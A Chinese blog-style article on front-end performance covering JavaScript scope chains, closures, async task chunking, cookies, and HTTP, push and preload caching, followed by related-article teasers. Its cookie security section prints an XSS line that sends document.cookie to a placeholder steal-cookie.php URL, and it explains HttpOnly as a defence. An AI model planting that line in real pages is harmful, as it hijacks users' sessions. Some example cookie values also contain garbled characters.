前端性能优化之数据存取,存储以及缓存技术

无论是哪种计算机语言,说到底它们都是对数据的存取与处理。若能在处理数据前,更快地读取数据,那么必然会对程序执行性能产生积极的作用。

一般而言,js的数据存取有4种方式。

  • 直接字面量:字面量不存储在特定位置也不需要索引,仅仅代表自身。它们包括布尔值,数字,字符串,对象,数组,函数,null,undefined以及正则表达式。
  • 变量:通过关键字const/let/var定义的数据存储单元。
  • 数组元素:存储在数组对象内部,通过数组下标数字进行索引。
  • 对象属性:存储在对象内部,通过对象的字符串名称进行索引。

其中数组元素和对象属性不仅可以是直接字面量的形式,还可以是由其他数组对象或对象属性组成的更为复杂的数据结构。从读取速度来看,直接字面量与变量是非常快的,相比之下数组元素和对象属性由于需要索引,其读取速度也会因组成结构的复杂度越高而变得越慢。

如今浏览器对内部js引擎不断迭代优化,在一般的数据规模下,其快慢的差别已经微乎其微。

作用域和作用域链

在es6之前,js没有明确的块级作用域的概念。它只有全局作用域和每个函数内的局部作用域。全局作用域就是无论此时执行的上下文是在函数内部还是在函数外部的,都能够访问到存在于全局作用域中的变量或对象;而定义存储在函数的局部作用域中的对象,只有在该函数内部执行上下文时才能够访问,而对函数外是不可见的。
对于能够访问到的数据,其在不同作用域中的查询也有先后顺序。这就涉及作用域链的概念。js引擎会在页面加载后创建一个全局的作用域,然后每碰到一个要执行的函数时,又会为其创建对应的作用域,最终不同的块级作用域和嵌套在内部的函数作用域,会形成一个作用域堆栈。

当前生效的作用域在堆栈的最顶端,由上往下就是当前执行上下文所能访问的作用域链。它对执行性能来说,十分重要的作用域就是解析标识符。

function plus(num){return num+1
}
const ret=plus(6)

当这段代码刚开始执行时,函数plus的作用域链中仅拥有一个指向全局对象的作用域,其中包括this,函数对象plus以及常量ret,而在执行到plus时,js引擎会创建一个新的执行上下文和包含一些局部变量的活动对象。执行过程会先对num标识符进行解析,即从作用域链的最顶层依次向下查找,直到找到num标识符。
由于最顶层的作用域往往都是当前函数执行的局部作用域,所以直接便可以找到num,就不用往下去全局作用域查找了。

在这里插入图片描述
理解作用域链对标识符的解析过程对编写高效的js非常有用,因为查找变量的个数会直接影响解析过程的长短。

实战经验

  1. 对局部变量的使用
    如果一个非局部变量在函数中的使用次数不止一次,那么最好使用局部变量进行存储。
function process(){const target=document.getElementById('target')// 优化const doc=document}

document属于全局作用域中的对象,位于作用域链的最深处,在标识符解析过程中会被最后解析,因此可以考虑将其声明为一个局部变量,以提升其在作用域链中的查找顺序。

  1. 作用域链的增长
    使用with语句,它能将函数外层的变量,提升到比当前函数局部变量还要高的作用域链访问级别上。如下代码虽然能够直接访问param中的属性值,但是却降低了show函数原本局部变量的访问速度。
const param={name:'name'
}
function show(){const cnt=2with(param){console.log(name)}
}
  1. 警惕闭包的使用
    闭包的特性使函数能够访问局部变量之外的数据。一般的函数执行完成后,其中局部变量所占用的空间会被释放,但闭包的这种特性会延长父函数中局部变量的生命周期,存在内存泄露的问题。
function mkFunc(){const name='test'return function showName(){console.log(name)}
}
const myFunc=mkFunc()
myFunc()

在这里插入图片描述

快速响应

js代码的执行通常会阻塞页面的渲染,考虑到用户的体验,这就会限制我们在编写代码时需要注意减少或避免一些执行时间过长的逻辑运算。

浏览器限制

由于js是单线程的,这就意味着浏览器的每个窗口或页签在同一时间内,要么执行js脚本,要么响应用户操作刷新页面。例如JS代码正在执行时,用户页面会处于锁定状态无法进行输入,如果js代码执行时间过长,显然会给用户带来糟糕的体验。因此,我们可能就需要对长时间运行的脚本进行重构,尽量保证一段脚本的执行不超过100ms,超过这个阈值,用户明显就会感觉网站卡顿。

引起js执行时间过长的原因常见的有三类:

  1. 对dom的频繁修改:相比起js运算,dom操作的开销极高,因此现代前端框架中普遍采取虚拟dom。所谓虚拟dom就是将真实dom抽象为js对象,用户交互和数据运算可能带来dom频繁修改,但这其中大部分的修改操作可能对最终呈现给用户的页面来说都是中间过程,所以就将这些大量的中间过程交给js处理,处理完成后统一再去修改真实dom。
  2. 不恰当的循环:循环次数过多,或每次循环执行过多的操作,若能将功能尽可能分解就会明显缓解这个问题。
  3. 存在过深的递归:浏览器对js调用栈存在限制,将递归改为迭代能有效地避免此类问题。

异步队列

js既要处理运算又要响应与用户的交互,它是如何完成的呢?异步队列。
当我们创建一个异步任务时,它其实并没有马上执行,而是被js引擎放置到一个队列中,当执行完成一个任务脚本后,js引擎便会挂起浏览器去做其他工作,比如更新页面,当页面更新完成后,js引擎便会查看此异步队列,并从中取出一个任务脚本去执行,只要该队列不为空,这个过程便会不断重复,当队列中的任务脚本执行完后,js引擎便会处于空闲状态,直到有新的任务脚本进入该异步队列。
据此我们便有了对过长任务的一种优化策略,即将一个较长的任务拆分为多个异步任务,从而让浏览器给刷新页面留出时间,但过短的延迟时间也可能会让浏览器响应不及时,因为在几毫秒的时间里无法正确完成页面的更新与显示,通常可以使用定时器来控制一个100ms左右的延迟,同时定时器也是js中创建一个加入异步队列十分有效地方法:

function chunk(array,process){setTimeout(()=>{const item=array.shift()process(item)if(array.length>0){//依次延迟处理接下来的数据setTimeout(arguments.callee,100)}})
}

避免多重求值

多重求值是脚本语言中普遍存在的一种语法特性,即动态执行包含可执行代码的字符串,虽然当前的主流前端项目很少会有类似的用法,但如果面临优化历史代码的场景,就需要多加留意。能够运行代码字符串的方法通常有以下4种:setTimeout,setInterval,eval,Function构造函数。因此,开发时应当避免使用Function函数和eval函数,同时切忌在使用setTimeout和setInterval函数时,第一个参数不要使用字符串。

数据存储

在这里插入图片描述
数据存储分类如下表所示。其中的持久化是指数据留存的实效性,可分为会话级,设备级和全局级,会话级的持久化指仅在当前浏览器标签出于活动状态时,网页中所保存的数据有效,当关闭浏览器页签后随之消失,设备级的持久化允许夸浏览器标签页进行数据存取,大部分存储方式都属于设备级。全局级持久化要求能够跨设备和跨会话存储数据,即能够将数据存储在云端。

cookie

Cookie 是服务器创建后发送到用户浏览器并保存在本地的一小块数据,在该浏览器下次向同一服务器发起请求时,它将被携带并发送到服务器上。它的作用通常是告诉服务器,先后两次请求来白同一浏览器,这样便可用来保存用户的登录状态,使基于无状态的 HTTP 协议能够记录状态信息。
在Web 应用刚兴起的时代,由于当时并没有其他合适的客户端存储方式,Cookie曾一度被当作唯一的客户端存储方式使用。随着 web 技术的发展,现代浏览器已经开始支持各种各样的存储方式,同时由于服务器指定了 Cookie 后,浏览器每次的请求都会携带 Cookie 数据,这样势必会带来额外的带宽开销,所以 Cookie 正逐渐被一些新的浏览器存储方式淘汰。

  1. 响应与请求
    服务器通过响应头的 Set-Cookie 字段向浏览器发送 Cookie 信息,示例如下:

       Set-Cookie: imooc_uuid= £bb93D62-a706-401e-627a-9£6619a83274
    

    浏览器接收到请求后再次向服务器发送请求时会在 Cookie 字段中携带 Cookie信息。

    Cookie: imooc_uuid=9355a-a706-401e-627a-96619d83274;loginstate=1
    

    每条Cookie信息以“cookie名-cookie值”的形式定义,多个cookie信息之间以分号间隔。

  2. 持久性
    Cookie支特会话级的Cookie, 即浏览器关闭后会被自动删除,其仅在页面会话期内有效。除此之外,还有一种持久化的 Cookie,通过指定一个过期时间或有效期变更默认 Cookie 的持久性,示例如下:

    Set-Cookie: imooc_uuid=9355a-a706-401e-627a-96619d83274; loginstate=1;Expires=Wed,13 Fed 2019 14:38:00 GMT;
    
  3. 安全性
    由于通常会用 Cookie 来标识用户和授权会话,所以一旦Cookie 被窃取,则可能导致授权用户的会话遭受攻击。一种常见的窃取方法便是应用程序漏洞进行跨站脚本攻击(XSS),例子如下:

    (new Image ()).src=
    "http://www.example.com/ steal-cookie. php?cookie="+document.cookie
    

    JavaScript 代码 document.cookie 属性值可 以拿到存储在浏览器中的 Cookie 信息,然后通过为新建图片的src 属性赋值目标 URL 来发起请求,这便是 xSS 攻击,对此可以通过给 Cookie 中设置 HttpOnly字段组织 js对其的访问性来缓解此类攻击。
    除此之外,跨站请求伪造(CSRF)也会利用Cookie 的漏洞来进行攻击,假设论坛中的一张图片上实际挂载着一个请求:登录微博添加特定用户为好友或进行点赞操作。当打开含有该图片的 HTML 页面时,如果之前已经登录了微博账号并且 Cookie信息仍然有效,那么上述请求就可能完成。
    为阻止此类事情发生可注意以下几点:敏感操作都需要确认:敏感信息的 Cookie只能拥有较短的生命周期等。

缓存技术

在任何一个前端项目中,访问服务器获取数据都是很常见的事情,但是如果相同的数据被重复请求了不止一次,那么多余的请求次数必然会浪费网络带宽,以及延迟浏览器渲染所要处理的内容,从而影响用户的使用体验。如果用户使用的是按量计费的方式访问网络,那么多余的请求还会隐性地增加用户地网络流量费用。因此考虑使用缓存技术对已获取地资源进行重用,是一种提升网站性能与用户体验地有效策略。
缓存的原理是在首次请求后保存一份请求资源的响应副本,当用户再次发起相同请求后,如果判断缓存命中则拦截请求,将之前存储的响应副本返回给用户,从而避免重新向服务器发起资源请求。
缓存的技术种类有很多,大致可以分为两类:共享缓存和私有缓存。共享缓存指的是缓存内容可被多个用户使用,如公司内部架设的web代理;私有缓存指的是只能单独被用户使用的缓存,如浏览器缓存。

下面介绍下浏览器缓存的三个方面:http缓存、service worker缓存和push缓存,以及cdn缓存的一些基本机制。

HTTP缓存

强制缓存

对于强制缓存,如果浏览器判断所请求的目标资源有效命中,则可直接从强制缓存中返回请求响应,无须与服务器进行任何通信。
在介绍强制缓存命中判断之前,首先来看下一段响应头的部分信息:

access-control-allow-origin:*
age:734978
cache-control:max-age=31536000
content-length:40830
content-type:image/jpeg
date:Web, 14 Feb 2022xxxx
expires: Web.xxxx

其中与强制缓存相关的两个字段是expires和cache-control,expires是在http1.0协议中声明的用来控制缓存失效日期时间戳的字段,它由服务端指定后通过响应头告知浏览器,浏览器在接收到带有该字段的响应体后进行缓存。
若之后浏览器再次发起相同的资源请求,便会对比expires与本地当前的时间戳,如果当前请求的本地时间戳小于expires的值,则说明浏览器缓存的响应还未过期,可以直接使用而无须向服务器端再次发起请求。只有当本地时间戳大于expires值发生缓存过期时,才允许重新向服务器发起请求。
由于expires过分依赖本地时间戳,从http1.1开始新增了cache-control字段来对expires的功能进行扩展和完善。从上述代码中可见cache-control设置了max-age=31536000的属性值来控制响应资源的有效期,它是一个以秒为单位的时间长度,表示该资源在被请求到后的31536000秒内有效,如此便可避免服务器端和客户端时间戳不一致。除此之外,cache-control还可配置一些其他属性值来更准确地控制缓存。

  1. no-cache和no-store
    no-cache表示为强制进行协商缓存,即对于每次发起地请求都不会再去判断强制缓存是否过期,而是直接与服务器协商来验证缓存地有效性,若缓存不过期,则会使用本地缓存。设置no-store则表示禁止使用任何缓存策略,客户端地每次请求都需要服务器端给予全新地响应。二者是互斥的,不可同时设置。
  2. private和public
    public表示响应资源既可以被浏览器缓存,又可以被代理服务器缓存。private限制了响应资源只能被浏览器缓存,若未显示指定则默认值为private。
  3. max-age和s-maxage
    max-age表示服务端告知客户端浏览器响应资源地过期时长。s-maxage表示缓存在代理服务器中地过期时长,且仅当设置了public属性值才有效。
协商缓存

协商缓存就是在使用本地缓存之前,需要向服务器端发起一次get请求,与之协商当前浏览器保存的本地缓存是否已经过期。

  • 基于last-modified
    (1)浏览器第一次请求一个资源,服务器在返回这个资源的同时,会加上Last-Modified字段。这个 response header,这个header表示这该资源在服务器上的最后修改时间:
    在这里插入图片描述

(2)浏览器再次请求这个资源时,会加上If-Modified-Since这个 request header,这个header的值就是上一次返回的Last-Modified的值:
在这里插入图片描述

(3)服务器收到第二次请求时,会比对浏览器传过来的If-Modified-Since和资源在服务器上的最后修改时间Last-Modified,判断资源是否有变化。如果没有变化则返回304 Not Modified,但不返回资源内容(此时,服务器不会返回 Last-Modified 这个 response header),这和强制缓存有所不同,强制缓存若有效,则再次请求的响应状态码是200;如果有变化,就正常返回资源内容(继续重复整个流程)。

(4)浏览器如果收到304的响应,就会从本地缓存中加载资源。

通过last-modified所实现的协商缓存能够满足大部分的使用场景,但也存在两个比较明显的缺陷:

  1. 如果只是对资源进行了编辑,但内容没有发生任何变化,时间戳也会更新。
  2. 文件资源的修改时间是以秒为单位,如果文件修改的速度非常快,假设在几百毫秒内完成,那么上述通过时间戳的方式是无法标识出此次更新。
  • 基于ETag的协商缓存

(1)浏览器第一次请求一个资源,服务器在返回这个资源的同时,会加上ETag这个 response header,这个header是服务器根据当前请求的资源生成的唯一标识。这个唯一标识是一个字符串,只要资源有变化这个串就不同,跟最后修改时间无关,所以也就很好地补充了Last-Modified的不足。如下:
在这里插入图片描述
(2)浏览器再次请求这个资源时,会加上If-None-Match这个 request header,这个header的值就是上一次返回的ETag的值:
在这里插入图片描述
(3)服务器第二次请求时,会对比浏览器传过来的If-None-Match和服务器重新生成的一个新的ETag,判断资源是否有变化。如果没有变化则返回304 Not Modified,但不返回资源内容(此时,由于ETag重新生成过,response header 中还会把这个ETag返回,即使这个ETag并无变化)。如果有变化,就正常返回资源内容(继续重复整个流程)。这是服务器返回304时的 response header:
在这里插入图片描述

(4)浏览器如果收到304的响应,就会从缓存中加载资源。

不像强制缓存中cache-control可以完全替代expires的功能,在协商缓存中,etag是一种补充方案,可以和last-modified一起配合使用,etag需要付出额外的计算开销。
注意:缓存时根据请求资源的url进行的,不同的资源会有不同的url,所以尽量不要将相同的资源设置为不同的url。

缓存决策

在这里插入图片描述

Push缓存

http2新增了一个强大的功能:服务器端推送,它的出现打破了传统意义上的请求与响应一对一的模式,服务器可以对客户端浏览器的一个请求发送多个响应。
在传统的网络应用中,客户端若想将应用中所包含的多种资源渲染展示在浏览器中,就需要逐个资源进行请求,但其实一个html文件中包含的js、样式表以及图片等文件资源,是服务器可以在收到该html请求后预判出稍后会到来的请求,那么就可以利用服务器端推送节省这些多余的资源请求,来提升页面加载的速度。

浏览器缓存通常可以分为四个方面:内存中的缓存,service worker缓存,http缓存以及http2的push缓存。优先级依次从高到低。

内存中的缓存时浏览器中响应速度最快且命中优先级最高的一种缓存,但它的驻留周期非常短,通常依赖于渲染进程,一旦页面页签关闭进程结束,内存中的留存树就会被回收。
具体什么资源会放入内存中的缓存,其实具有一定的随机性,因为内存空间有限,首先需要考虑到当前的内存余量,然后再视具体的情况去分配内存和磁盘空间上的存储占比。通常体积不大的js文件和样式表文件有一定概率被纳入内存中进行缓存,而对于体积较大的文件或图片则较大概率会被直接放在磁盘上存储。

push缓存是依赖于http2连接的,如果连接断开,即便推送的资源具有较高的可缓存性,它们也会丢失,这就意味着需要建立新的连接并重新下载资源。考虑到网络可能存在不稳定性,建议不要长时间依赖push缓存中的资源内容,它更擅长的是资源推送到页面提取间隔时长较短的使用场景。
另外,每个http2连接都有自己独立的push缓存,对使用了同一个连接的多个页面来说,它们可以共享该push缓存。在将如json数据等内容与页面响应信息一同推送给客户端时,这些数据资源并非仅被同一页面提取,它们还可以被一个正在安装的service worker提取使用。

push缓存与预加载

二者的优化原理都是利用客户端的空闲带宽来进行资源文件获取的,这种方式能够很好地将资源的执行与获取进行分离,当浏览器实际需要某个资源文件时,该资源文件其实已经存在于缓存中了,这样便省去了发起请求后的等待时间。

  1. 不同之处
    push缓存和预加载还存在一些不同之处,其中主要的不同点是,push缓存是由服务器端决定何时向客户端预先推送资源的,而预加载则是当客户端浏览器收到html文件后,经过解析其中带有preload的标签,才会开启预加载的。其他一些不同之处还包括以下几个方面。

    • push缓存只能向同源或具有推送权的源进行资源的推送,而预加载则可以从任何源加载资源。
    • 预加载使用的是内存中的缓存,而推送使用的是push缓存。
    • 预加载的资源仅能被发起请求的页面使用,而服务端push缓存的资源却能在浏览器的不同标签页面中共用。
    • 预加载使用的link标签上可以设置onload和onerror进行相应事件的监听,而push缓存则在服务器端进行监听相对更加透明。
    • 预加载可以根据不同的头信息,使用内容协商来确定发送的资源是否正确,push缓存却不可以。
  2. 使用场景

    • 有效利用服务器的空闲时间进行资源的预先推送。
    • 推送html中的内联资源。

比较适合使用预加载的场景:css样式表文件中所引用的字体文件;外部css样式表文件中使用background-url属性加载的图片文件。

参考资料:https://www.jianshu.com/p/f4dbaaebe902

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/623048.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

spring基于XML方式的组件管理

基本介绍 依赖注入是一种处理对象间依赖关系的技术。在Spring中,依赖注入有构造方法注入和设值注入两种方式。 设值注入是将依赖作为成员变量,通过主调类的setter方法注入依赖。构造方法注入则是在Bean的构造方法中注入依赖。 本次我们将通过具体例子来…

CSC8021_computer network_The Transport Layer

Role of the transport layer • The transport layer is responsible for providing a reliable end-to-end connection between two application processes in a network • Abstracting away the physical subnet • Does not involve intermediate nodes • Takes a netwo…

UML-通信图和交互概览图(通信图和顺序图的区别与联系)

UML-通信图和交互概览图(通信图和顺序图的区别与联系) 一、通信图简介1.消息2.链接 二、通信图和[顺序图](https://blog.csdn.net/weixin_65032328/article/details/135587782)的联系与区别三、交互概览图四、顺序图转化为通信图练习 一、通信图简介 通…

2.2 物理层

2.2 物理层 2.2.1 物理层的基本概念 1、物理层主要解决在各种传输媒体上传输比特0和1的问题,进而给数据链路层提供透明传输比特流的服务 2、由于传输媒体的种类太多(例如同轴电缆、光纤、无线电波等),物理连接方式也有很多例如…

libcurl开源库的编译与使用全攻略

libcurl简介 libcurl 是一个广泛使用的、支持多种协议的、开源的客户端URL传输库,提供了许多用于数据传输的API,例如文件传输、FTP、HTTP、HTTPS、SMTP等。libcurl 的主要特点包括 支持多种协议:libcurl 支持多种协议,如 HTTP、F…

Spring集成

目录 概述1 声朋一个简单的集成流1.1 使用XML定义集成流1.2 使用Java配置集成流1.3 使用Spring lntegration 的 DSL 配置 2 Spring integration 功能概览2.1 消息通道2.2 过滤器2.3 转换器2.4 路由器2.5 切分器2.6 服务激活器2.7 网关2.8 通道适配器2.9 端点模块 概述 就像我们…

JDK8-JDK17版本升级

局部变量类型推断 switch表达式 文本块 Records 记录Records是添加到 Java 14 的一项新功能。它允许你创建用于存储数据的类。它类似于 POJO 类,但代码少得多;大多数开发人员使用 Lombok 生成 POJO 类,但是有了记录,你就不需要使…

逸学Docker【java工程师基础】3.1安装Jenkins

1.下载镜像 docker pull jenkins/jenkins:lts 2.运行容器 docker run -d -u root -p 8080:8080 -p 50000:50000 -v /var/jenkins_home:/var/jenkins_home -v /etc/localtime:/etc/localtime --name jenkins jenkins/jenkins:lts 3.要启动名为 jenkins 的 Docker 容器 docker st…

HarmonyOS-LocalStorage:页面级UI状态存储

管理应用拥有的状态概述 上一个章节中介绍的装饰器仅能在页面内,即一个组件树上共享状态变量。如果开发者要实现应用级的,或者多个页面的状态数据共享,就需要用到应用级别的状态管理的概念。ArkTS根据不同特性,提供了多种应用状态…

OpenGauss源码分析-SQL引擎

所讨论文件大多位于src\common\backend\parser文件夹下 总流程 start_xact_command():开始一个事务。pg_parse_query():对查询语句进行词法和语法分析,生成一个或者多个初始的语法分析树。进入foreach (parsetree_item, parsetree_list)循环…

LeetCode 每日一题 Day 37-43

终于考完试了,寒假期间将会每天持续更新! 447. 回旋镖的数量(Day 37) 给定平面上 n 对 互不相同 的点 points ,其中 points[i] [xi, yi] 。回旋镖 是由点 (i, j, k) 表示的元组 ,其中 i 和 j 之间的欧式距离和 i 和 k 之间的欧…

通过开源端点可见性改善网络安全响应

在当今复杂的数字环境中,企业内的许多不同端点(从数据中心的服务器到咖啡店的笔记本电脑)创建了巨大且多样化的攻击面。每个设备都存在网络安全威胁的机会,每个设备都有其独特的特征和复杂性。攻击者使用的多种攻击媒介不仅是一个…

正则表达式中的“回引用(回溯)”——别名引用与序号引用的差异及正则表达式中的“P”关键字

读到一段巧妙的正则表达式,勾起我对正则表达式欠缺知识点的探寻: P y t h o n Python Python正则表达式中的“回引用(回溯)”——分组别名引用与序号引用的差异及正则表达式中的“P”关键字详情。 (笔记模板由python脚本于2024年01月14日 07:49:35创建&a…

pytorch集智4-情绪分类器

1 目标 从中文文本中识别出句子里的情绪。和上一章节单车预测回归问题相比,这个问题是分类问题,不是回归问题 2 神经网络分类器 2.1 如何用神经网络分类 第二章节用torch.nn.Sequantial做的回归预测器,输出神经元只有一个。分类器和其区别…

QT——connect的第五个参数 Qt::ConnectionType (及qt和c++的多线程的区别)

一直对QT的多线程和c的多线程的区别有疑惑,直到看到文档中这一部分内容才豁然开朗 一.ConnectionType参数的类型和区别 首先是官方文档中对于该枚举值的区别介绍: 对于队列(queued )连接,参数必须是 Qt 元对象系统已知…

强化学习应用(四):基于Q-learning的物流配送路径规划研究(提供Python代码)

一、Q-learning算法简介 Q-learning是一种强化学习算法,用于解决基于马尔可夫决策过程(MDP)的问题。它通过学习一个值函数来指导智能体在环境中做出决策,以最大化累积奖励。 Q-learning算法的核心思想是使用一个Q值函数来估计每…

助力工业园区作业违规行为检测预警,基于YOLOv7【tiny/l/x】不同系列参数模型开发构建工业园区场景下作业人员违规行为检测识别系统

在很多工业园区生产作业场景下保障合规合法进行作业生产操作,对于保护工人生命安全降低安全隐患有着非常重要的作用,但是往往在实际的作业生产中,因为一个安全观念的淡薄或者是粗心大意,对于纪律约束等意思薄弱,导致在…

maven镜像源设置aliyun提升下载速度

一、打开pom.xml project下在添加 <repositories><repository><id>aliyunmaven</id><name>aliyun</name><url>https://maven.aliyun.com/repository/public</url></repository><repository><id>central2&l…

分布形态的度量_峰度系数的探讨

集中趋势和离散程度是数据分布的两个重要特征,但要全面了解数据分布的特点&#xff0c;还应掌握数据分布的形态。 描述数据分布形态的度量有偏度系数和峰度系数, 其中偏度系数描述数据的对称性,峰度系数描述与正态分布的偏离程度。 峰度系数反映分布峰的尖峭程度的重要指标. 当…

【ESP32接入语言大模型之智谱清言】

1. 智谱清言 讲解视频&#xff1a; 随着人工智能技术的不断发展&#xff0c;自然语言处理领域也得到了广泛的关注和应用。智谱清言作为千亿参数对话模型 基于ChatGLM2模型开发&#xff0c;支持多轮对话&#xff0c;具备内容创作、信息归纳总结等能力。可以快速注册体验中国版…